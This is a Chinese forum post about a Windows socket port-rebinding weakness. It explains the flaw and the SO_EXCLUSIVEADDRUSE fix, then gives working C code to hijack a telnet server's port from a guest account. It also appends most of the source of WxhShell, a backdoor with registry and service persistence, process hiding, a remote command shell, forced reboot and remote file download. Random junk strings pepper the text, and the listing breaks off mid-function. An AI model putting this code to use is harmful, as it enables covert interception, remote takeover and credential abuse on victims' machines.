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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \YXzq<7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ltv!;^Q5  
*`D}voU  
  saddr.sin_family = AF_INET; ]O}TK^%  
['~E _z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }STTDq4  
=K#5I<x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2HA-q),6  
=rL%P~0wq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5"~F#vt  
:#_Ne?\a@  
  这意味着什么?意味着可以进行如下的攻击: gX29c  
^"lVTDsU  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Jd]kg,/  
SX/ E@vYb  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) dWc'RwL  
!TNp|U!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `!BP.-Zv  
B/Jz$D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  H$D),s gv  
0^lCZ,uq;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 B3AWJ1o  
'{>R-}o[3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3@}rO~  
dG8_3T}i  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ( *&E~ g  
.ei5+?V<i  
  #include .z+S @s[O  
  #include ;!~&-I0l  
  #include K*!qt(D&  
  #include    +,g3Xqs}X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   o;[?b'\[d  
  int main() mJU1n  
  { \&8 61A;  
  WORD wVersionRequested; DXI{ jalL  
  DWORD ret; Q[n*ce7L0  
  WSADATA wsaData; E|,RM;7  
  BOOL val; e 48N[p  
  SOCKADDR_IN saddr; VY#nSF`  
  SOCKADDR_IN scaddr; n^lr7(!6  
  int err; 0 s$;3qE  
  SOCKET s; TCWt3\  
  SOCKET sc; 7Gwo:s L  
  int caddsize; %&iodo,EP'  
  HANDLE mt; 4 (c{%%  
  DWORD tid;   5:yRFzhqd  
  wVersionRequested = MAKEWORD( 2, 2 ); M\_IQj  
  err = WSAStartup( wVersionRequested, &wsaData ); pw.K,?kYr  
  if ( err != 0 ) { 8a8CY,n{  
  printf("error!WSAStartup failed!\n"); x DiGN Jc  
  return -1; 2MU$OI0|  
  } xNd p]u  
  saddr.sin_family = AF_INET; `s8o2"12  
   wJc`^gj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 11iV{ h  
}&LVD$Bz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kNd(KQ<.17  
  saddr.sin_port = htons(23); cj\?vX\V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3\ {?L  
  { 5 W!#,jz  
  printf("error!socket failed!\n"); O))YJh"'_  
  return -1; iLt2L;v>h  
  } vR7S !  
  val = TRUE; 3y%,f|ju  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 m:D0O]2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -#Ys67,4N  
  { k`((6  
  printf("error!setsockopt failed!\n"); nB;[;dC z  
  return -1; C %i{{Y&l  
  } 9$#@Oe8*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^o87qr0g]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dczq,evp  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Cq -URih  
"Q`Le{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) IP  
  { L0)w~F ?m  
  ret=GetLastError(); m}(M{^\|  
  printf("error!bind failed!\n"); PjP6^"  
  return -1; -EJj j {  
  } #p<(2wN  
  listen(s,2); tM|/OJ7  
  while(1) ?PYZW5  
  { t2Px?S?  
  caddsize = sizeof(scaddr); -(},%!-_  
  //接受连接请求 :*ZijN*{)$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rvacCwI  
  if(sc!=INVALID_SOCKET) Zb7%$1)L~  
  { A%cJ5dF8~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 29^(weT"]  
  if(mt==NULL) H)h$@14xu  
  { {9FL}Jrt  
  printf("Thread Creat Failed!\n"); :PK2! 0nK  
  break; vq+4so )/S  
  } Mh2Zj  
  } AyNpY_B0c  
  CloseHandle(mt); D_?dy4\  
  } EiDnUL(W7h  
  closesocket(s); *'*,mfk[  
  WSACleanup(); ^u2x26].  
  return 0; D~FIv  
  }   'h@&rr@5  
  DWORD WINAPI ClientThread(LPVOID lpParam) J/QqwoR  
  { rp4{lHw>C/  
  SOCKET ss = (SOCKET)lpParam; 29l bOi  
  SOCKET sc; X f{9rZ+  
  unsigned char buf[4096]; kxR!hA8wv4  
  SOCKADDR_IN saddr; = c1>ja  
  long num; +s6v!({Z  
  DWORD val; E5 #ff5  
  DWORD ret; (+6N)9rj`/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,|Gjr T{vf  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;<*%BtD?  
  saddr.sin_family = AF_INET; .mNw^>:cq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Kf6 D)B 26  
  saddr.sin_port = htons(23); 6XHM`S  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gb4$W@N7V  
  { AiL80W^=d)  
  printf("error!socket failed!\n"); \mTi@T!&  
  return -1; OnU-FX<  
  } V(XZ7<& {  
  val = 100; &^w "  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "bB0$>0,  
  { *Z\AO'h=Z  
  ret = GetLastError();  7PuYrJ  
  return -1; ]t~'wL#Z  
  } PJ=|g7I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f~,Ml*Zp  
  { AyW=.  
  ret = GetLastError(); L& rtN@5;  
  return -1; :0ltq><?  
  } ;at1|E*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) mfF `K2R  
  { ^O =G%de  
  printf("error!socket connect failed!\n"); *FC|v0D  
  closesocket(sc); s(ap~UCOw  
  closesocket(ss); Tm9sQ7Oj(  
  return -1; M IyT9",Pl  
  } %"=GQ3u[  
  while(1) .LDp.#d9r1  
  { a#G3dY>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .XkD2~;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (`_fP.Ogb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *>`6{0, 9  
  num = recv(ss,buf,4096,0); FA\U4l-  
  if(num>0) ir>S\VT4  
  send(sc,buf,num,0); S>p0{:zM  
  else if(num==0) ._t1eb`m{  
  break; pr1bsrMuL  
  num = recv(sc,buf,4096,0); c10$5V&@  
  if(num>0) @Kn@j D;  
  send(ss,buf,num,0); fP6.  
  else if(num==0) 4.uaWM)2  
  break; :>o 0zG[;f  
  } y"ss<`Cn  
  closesocket(ss); WbBd<^Q  
  closesocket(sc); R/Z7}QW  
  return 0 ; hSXJDT2  
  } /u_9uJ"-K(  
@$t\yBSK  
=F Y2O`%a  
========================================================== B[6k [Vs  
qJf\,7mi  
下边附上一个代码,,WXhSHELL hF5T9^8  
^nNpT!o  
========================================================== )n 1[#x^I  
qX; F+~  
#include "stdafx.h" C^5 V  
Y"r728T`K  
#include <stdio.h> IbJl/N%o  
#include <string.h> lUA-ug! ^  
#include <windows.h> '*&dP"  
#include <winsock2.h> ,nCvA%B!  
#include <winsvc.h> !4FOX>|L@  
#include <urlmon.h> H~mp*S  
-meY[!"X  
#pragma comment (lib, "Ws2_32.lib") 5~T+d1md  
#pragma comment (lib, "urlmon.lib") dFhyT.Y?  
"frioi`a2  
#define MAX_USER   100 // 最大客户端连接数 sWMln:=  
#define BUF_SOCK   200 // sock buffer 3&5b!Y  
#define KEY_BUFF   255 // 输入 buffer ~K;hXf  
O"df5x9@  
#define REBOOT     0   // 重启 'Ha> >2M  
#define SHUTDOWN   1   // 关机 2eeFaFif  
`4X.UPJ  
#define DEF_PORT   5000 // 监听端口 GUqG1u z9  
4[JF.O6}  
#define REG_LEN     16   // 注册表键长度 )8eb(!}7  
#define SVC_LEN     80   // NT服务名长度 GCiG50Z=  
GvgTbCxnN  
// 从dll定义API ,EVPnH[F~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); surNJ,)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^);M}~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +]( y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %G,7Ul1f  
QT73=>^B  
// wxhshell配置信息 j}s/)}n|  
struct WSCFG { Zlh 2qq  
  int ws_port;         // 监听端口 kaiK1/W0;  
  char ws_passstr[REG_LEN]; // 口令 QRrAyRf[  
  int ws_autoins;       // 安装标记, 1=yes 0=no |r,})o>  
  char ws_regname[REG_LEN]; // 注册表键名 w0Ex}  
  char ws_svcname[REG_LEN]; // 服务名 jF j'6LT9/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mCk_c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Bos} `S![  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "\`Fu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C4`&_yoP4-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S9 $t9o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ebNRZJ?C,  
^ <`SUBI  
}; (VI(Nv:o@  
$'_Q@ZBq  
// default Wxhshell configuration sJ^Ff  
struct WSCFG wscfg={DEF_PORT, ~6Fh,S1?  
    "xuhuanlingzhe", pc@mQI  
    1, He5y;5  
    "Wxhshell", 7UG c2J  
    "Wxhshell", +/eJ#Xw3u8  
            "WxhShell Service", kONn7Itbu  
    "Wrsky Windows CmdShell Service", V9}\0joM  
    "Please Input Your Password: ", =uNc\a(  
  1, P]y{3y:XxM  
  "http://www.wrsky.com/wxhshell.exe", NIQ}+xpC  
  "Wxhshell.exe" F%&lM[N%  
    }; ":qHDL3  
4|I;z  
// 消息定义模块 ^c(r4#}$"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; eN </H.bm]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; | Z2_W/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IA Ma  
char *msg_ws_ext="\n\rExit."; cZF|oZ6<  
char *msg_ws_end="\n\rQuit."; zjcSn7iu  
char *msg_ws_boot="\n\rReboot..."; :E|Jqi\  
char *msg_ws_poff="\n\rShutdown..."; zDtC]y'  
char *msg_ws_down="\n\rSave to "; wme#8/eUk  
O;V^Fk(  
char *msg_ws_err="\n\rErr!"; &=M4Z/Ao  
char *msg_ws_ok="\n\rOK!"; ')yYpWO  
Q(aNa!  
char ExeFile[MAX_PATH]; n{L^W5B  
int nUser = 0; fJ5mKN  
HANDLE handles[MAX_USER]; bx{njo1Mr  
int OsIsNt; ?SO!INJ  
KaOXqFT=  
SERVICE_STATUS       serviceStatus; /U!B2%vq_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8au Gz ,"  
a'Odw2Q_  
// 函数声明 6'e^np  
int Install(void); >b9J!'G,(  
int Uninstall(void); [*(1~PrlO,  
int DownloadFile(char *sURL, SOCKET wsh); fibudkg'>  
int Boot(int flag); 'q~<ZO  
void HideProc(void); Whp`\E< <  
int GetOsVer(void); J?dz>3Rhx9  
int Wxhshell(SOCKET wsl); (;05=DsO  
void TalkWithClient(void *cs); NT5##XOB  
int CmdShell(SOCKET sock); I9aiAD0s  
int StartFromService(void); -Q5UT=^  
int StartWxhshell(LPSTR lpCmdLine); kb"Fw:0  
<"`f!k#[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M[O22wFs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5%QYe]D  
cmU0=js.  
// 数据结构和表定义 eFf9T@  
SERVICE_TABLE_ENTRY DispatchTable[] = 9ei'oZ  
{ U=j`RQ 9,  
{wscfg.ws_svcname, NTServiceMain}, *>zOWocxD  
{NULL, NULL} <3N\OV2  
}; 5Rw2/J L  
'~f*O0_  
// 自我安装 }1V+8'D  
int Install(void) 6(htpT%J  
{ 3Rsrb  
  char svExeFile[MAX_PATH]; Q7F4OS5b  
  HKEY key; bJ"2|VNH(  
  strcpy(svExeFile,ExeFile); e&8Meiv+d  
lH/" 47  
// 如果是win9x系统,修改注册表设为自启动 dxZn| Y  
if(!OsIsNt) { /u9 0)x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tBZ?UAe;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {2 T:4i5  
  RegCloseKey(key); *KiY+_8>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z[Iej:o5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qM 1ZCt  
  RegCloseKey(key); IUh9skW5  
  return 0; Gx4uf  
    } }uaFmXy3  
  } edpRx"_  
} 5\}Y=Pa  
else { IQ~Anp^R  
\SwqBw  
// 如果是NT以上系统,安装为系统服务 !H c6$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Er$&}9G+-  
if (schSCManager!=0) SJLs3iz_)  
{ /4+zT?f  
  SC_HANDLE schService = CreateService =F/R*5:T  
  (  vmfFR  
  schSCManager, d_Zj W  
  wscfg.ws_svcname, $/JXI?K  
  wscfg.ws_svcdisp, 9PO5GYU  
  SERVICE_ALL_ACCESS, RhF< {U.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +:70vZc:V@  
  SERVICE_AUTO_START, eL)m(  
  SERVICE_ERROR_NORMAL, F >n_k  
  svExeFile, %'=TYvB 2  
  NULL, Oo(xYy  
  NULL, O)&ME  
  NULL, D?* du#6  
  NULL, ;BWWafZ  
  NULL 3?h!nVI+2J  
  ); HJ"sK5Q  
  if (schService!=0) 6wq%4RI0  
  { |rhB@k  
  CloseServiceHandle(schService); )ytP$,r![S  
  CloseServiceHandle(schSCManager); " ? V;C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ix?Z:pIS0  
  strcat(svExeFile,wscfg.ws_svcname); R&P^rrC@B5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]PL\;[b>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f1o^:}5x  
  RegCloseKey(key); ?,hGKSC  
  return 0; +[S<"}ls7  
    } qf [J-"o  
  } 6*>vie  
  CloseServiceHandle(schSCManager); "8(8]GgYx  
} K h&a#~c  
} NP~3!b  
Y1qbu~!  
return 1; +>a(9r|:  
} SwrzW'%A  
QOJ5  
// 自我卸载 YVz,P_\(m  
int Uninstall(void) wn<k "6x  
{ kqC7^x  
  HKEY key; = 4'r+2[  
mwz!7Q   
if(!OsIsNt) { qCm%};yt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $3970ni,?O  
  RegDeleteValue(key,wscfg.ws_regname); XwU1CejP0  
  RegCloseKey(key); />PH{ l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +tYskx/  
  RegDeleteValue(key,wscfg.ws_regname); D42!#  
  RegCloseKey(key); su8()]|0x  
  return 0; HGj[\kU~  
  } l]IQjjJ`  
} $B%3#-  
} 8D^ iQBA  
else { Fj <a;oV  
{qSYe!`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "(\]-%:7  
if (schSCManager!=0) Nlm3RxSn  
{ `n e9&+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^7$Q"  
  if (schService!=0) 7Uh/Gl  
  { D r6u0rx8  
  if(DeleteService(schService)!=0) { f2Tz5slE  
  CloseServiceHandle(schService); 5VLC\QgK^  
  CloseServiceHandle(schSCManager); h61BIc@>  
  return 0; r"KW\HN8  
  }  JU=4v!0  
  CloseServiceHandle(schService); xw1n;IO4  
  } Bjb8#n04  
  CloseServiceHandle(schSCManager); p,OB;Ncf/  
} `hU 2Ss~  
} $\nAGmp@  
YJ01-  
return 1; P;p20+  
} nqib`U@"  
x.U:v20`  
// 从指定url下载文件 M/8EaQs}  
int DownloadFile(char *sURL, SOCKET wsh) u-X P `  
{ _/a8X:[(  
  HRESULT hr; ,Je9]XT  
char seps[]= "/"; kQ $.g<  
char *token; .h>tef  
char *file; ]1i1_AR'`  
char myURL[MAX_PATH]; fGDjX!3-S  
char myFILE[MAX_PATH]; >^+c s^jCM  
mMtX:  
strcpy(myURL,sURL); Zd[6-/-:  
  token=strtok(myURL,seps); J~1 =?</  
  while(token!=NULL) FTZaN1%`  
  { vip& b}u  
    file=token; ;,jms~ik  
  token=strtok(NULL,seps); ^-pHhh|g  
  } )\Ay4 d  
$_&gT.>  
GetCurrentDirectory(MAX_PATH,myFILE); >KnXj7  
strcat(myFILE, "\\"); -JB~yO?0  
strcat(myFILE, file); '/H+  
  send(wsh,myFILE,strlen(myFILE),0); 3/?{= {  
send(wsh,"...",3,0); m}>#s3KPA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aYPD4yX"/  
  if(hr==S_OK) :7Smsc"B!  
return 0; !S}4b   
else j?cE0 hz  
return 1; w%Tjn^d  
BF(.^oh"n0  
} M?zwXmTVW0  
ojQjx|Q}  
// 系统电源模块 9Fv VM9  
int Boot(int flag) BjyGk+A   
{ eZ[O:Wvk:  
  HANDLE hToken; @ wJ|vW_.  
  TOKEN_PRIVILEGES tkp; Y)]x1I  
q+/7v9  
  if(OsIsNt) { .q7|z3@,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2W 9N-t2 1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @u}1 S1  
    tkp.PrivilegeCount = 1; ?3{:[*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 12MWO_'g8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?#rejA:  
if(flag==REBOOT) { @z1Yj"^Pm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AUvUk<a  
  return 0; o?l9$"\sqb  
} f mQ`8b  
else { @mB*fl?-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MTxe5ob`$Q  
  return 0; %Vp'^,&S  
} .G|9:b  
  } |X$O'Gf#n  
  else { .Q^8 _'ZG  
if(flag==REBOOT) { `96PY !$u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :_y}8am;H~  
  return 0; *[^[!'kT&  
} 9e*v&A2Y'  
else { vUU)zZB ~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b^~"4fU  
  return 0; Y={_o!9  
} ev_4!+ko  
} B5iVT<:a  
.+ w#n<  
return 1; 3h-C&C  
} Rt^~db  
LyB &u( )  
// win9x进程隐藏模块 nr t3wqJ  
void HideProc(void) nA#FGfZ{Ge  
{ mDT"%I"4j  
oju}0h'1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E0Y>2HOuL  
  if ( hKernel != NULL ) dO{a!Ca  
  { 2# y!(D8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cU^Z=B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l6wN&JHTh  
    FreeLibrary(hKernel); u\9t+wi}<  
  } Hmi]qK[F  
cy6lsJ"?  
return; [Pnk@jIk4  
} -t:~d:  
~x:B@Ow  
// 获取操作系统版本 ~$O.KF:  
int GetOsVer(void) hZ ve8J  
{ <oc"!c;T  
  OSVERSIONINFO winfo; ?IWLH-fkP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !BocF<UE  
  GetVersionEx(&winfo); j6NK 7Li  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X<OOgC  
  return 1; Y30e7d* qr  
  else U;l!.mze  
  return 0; |@a.dgz,  
} iAOm[=W  
yv@td+-"D  
// 客户端句柄模块 U0PQ[Y#\  
int Wxhshell(SOCKET wsl) |V 3AA   
{ l20fA-T _I  
  SOCKET wsh; L1'#wH  
  struct sockaddr_in client; ]W-7 U_  
  DWORD myID; X~`<ik{q  
)_vE"ryThA  
  while(nUser<MAX_USER) K|n$-WDG}  
{ ?-y!FD}m&  
  int nSize=sizeof(client); [HV>4,,3"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); km)5?  
  if(wsh==INVALID_SOCKET) return 1; <K$X>&Ts  
Q9UBxpDV:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E7_)P>aS5  
if(handles[nUser]==0) y2>XLELy  
  closesocket(wsh); w}OJ2^  
else [%8t~zg  
  nUser++; xS4B"/  
  } vbDSNm#Yv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); px!TRb f  
DQ<{FN  
  return 0; ,r&:C48 dI  
} F)W7,^=X>-  
cZ!%#A z  
// 关闭 socket A@-A_=a,  
void CloseIt(SOCKET wsh) 9WJS.\G^  
{ `*A!vO8  
closesocket(wsh); |Ew~3-u!  
nUser--; #hA]r.  
ExitThread(0); QWo_Zg0"  
} RS$!TTeQ  
w $\p\}~,  
// 客户端请求句柄 8IAf 9  
void TalkWithClient(void *cs) Kc6p||<  
{ y%y F34  
@AXRKYQ{t  
  SOCKET wsh=(SOCKET)cs; /~,|zz  
  char pwd[SVC_LEN]; A,tmy',d"  
  char cmd[KEY_BUFF]; \m>mE/N  
char chr[1]; k *a?Ey$  
int i,j; N W/RQ(  
v4?qI >/  
  while (nUser < MAX_USER) { k/"^W.B aj  
:'L^zGf  
if(wscfg.ws_passstr) { z!z+E%H^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z,6X{=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q8j W&_  
  //ZeroMemory(pwd,KEY_BUFF); ?0v(_ v  
      i=0; '7+e!>"  
  while(i<SVC_LEN) { qjK'sge/  
52*9q!  
  // 设置超时 D{Zjo)&tF'  
  fd_set FdRead; F,t ,Ja  
  struct timeval TimeOut; ]kJinXHW  
  FD_ZERO(&FdRead); j k%MP6  
  FD_SET(wsh,&FdRead); *5SOXrvhu6  
  TimeOut.tv_sec=8; H5L~[\ 5t  
  TimeOut.tv_usec=0; o\_@4hXf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kRCuc}:SB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &"D *  
u7rA8u|TO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); px@:t}  
  pwd=chr[0]; (J c} K  
  if(chr[0]==0xd || chr[0]==0xa) { HFJna2B`  
  pwd=0; QB<9Be@e  
  break; 6Un61s  
  } s Zan.Kc#  
  i++; q/ x(:yol  
    } sh $mOy  
yPgDb[V+  
  // 如果是非法用户,关闭 socket 6} DGEHc1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iKy_DV;J  
} o gcEv>0  
byj}36LN62  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K#j<G]I( @  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'baew8Q#  
ub C(%Y_k  
while(1) { {-(}p+;z  
'@Zau\xC  
  ZeroMemory(cmd,KEY_BUFF); }gk37_}X\I  
8.-0_C*U;  
      // 自动支持客户端 telnet标准   K;%P_f/KJP  
  j=0; XIM!]  
  while(j<KEY_BUFF) { %M=[h2SN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~9&#7fU  
  cmd[j]=chr[0]; \a:#e%]qz9  
  if(chr[0]==0xa || chr[0]==0xd) { ,o $F~KPu  
  cmd[j]=0; |}~2=r z  
  break; W6. )7Y,  
  } ^;";fr Vw  
  j++; o,| LO$~  
    } l(-We.:(  
3F5Y#[L`  
  // 下载文件 nz72w_  
  if(strstr(cmd,"http://")) { !.(Kpcrg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gp0H[-oF  
  if(DownloadFile(cmd,wsh)) X<\E 'v`~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K>=KsG  
  else z/IA @  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CqMm'6;$a}  
  } r)ni;aP  
  else { pGQP9r%  
:}QBrd  
    switch(cmd[0]) { mAycfa  
  ) >_xHc?  
  // 帮助 sVk+E'q  
  case '?': { zV)(i<Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8nt3S m  
    break; L-B"P&  
  } F.zx]][JV  
  // 安装 HGuU6@~hu  
  case 'i': { <evvNSE  
    if(Install()) !+sC'/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l@;UwnI  
    else ;kSRv=S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bsfYz  
    break;  8*nv+  
    } `pMI @"m  
  // 卸载 B3x4sK s  
  case 'r': { gYeKeW3)  
    if(Uninstall()) #@ClhpLD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V=$ pXpro%  
    else /_WA F90R?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3.i$lp`t  
    break; 'eyzH[l,(  
    } dTV4 Q`Z  
  // 显示 wxhshell 所在路径 x)35}mi){L  
  case 'p': { &zuPt5G|  
    char svExeFile[MAX_PATH]; vbt0G-%Z  
    strcpy(svExeFile,"\n\r");  H7`JqS  
      strcat(svExeFile,ExeFile); ;rggO0Y  
        send(wsh,svExeFile,strlen(svExeFile),0); :n#8/'%1  
    break; \ a#{Y/j3  
    } X8}m %  
  // 重启 csh@C ckC8  
  case 'b': { 0+-"9pED>E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U46qpb 7  
    if(Boot(REBOOT)) u+5&^"72,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kM:Z(Z7$  
    else { \ltbiDP2  
    closesocket(wsh); Z\YCjs%  
    ExitThread(0); ;;4>vF#*  
    } ]_"c_QG  
    break; d}RU-uiW  
    } CpE LLA<  
  // 关机 FT F`-}Hz  
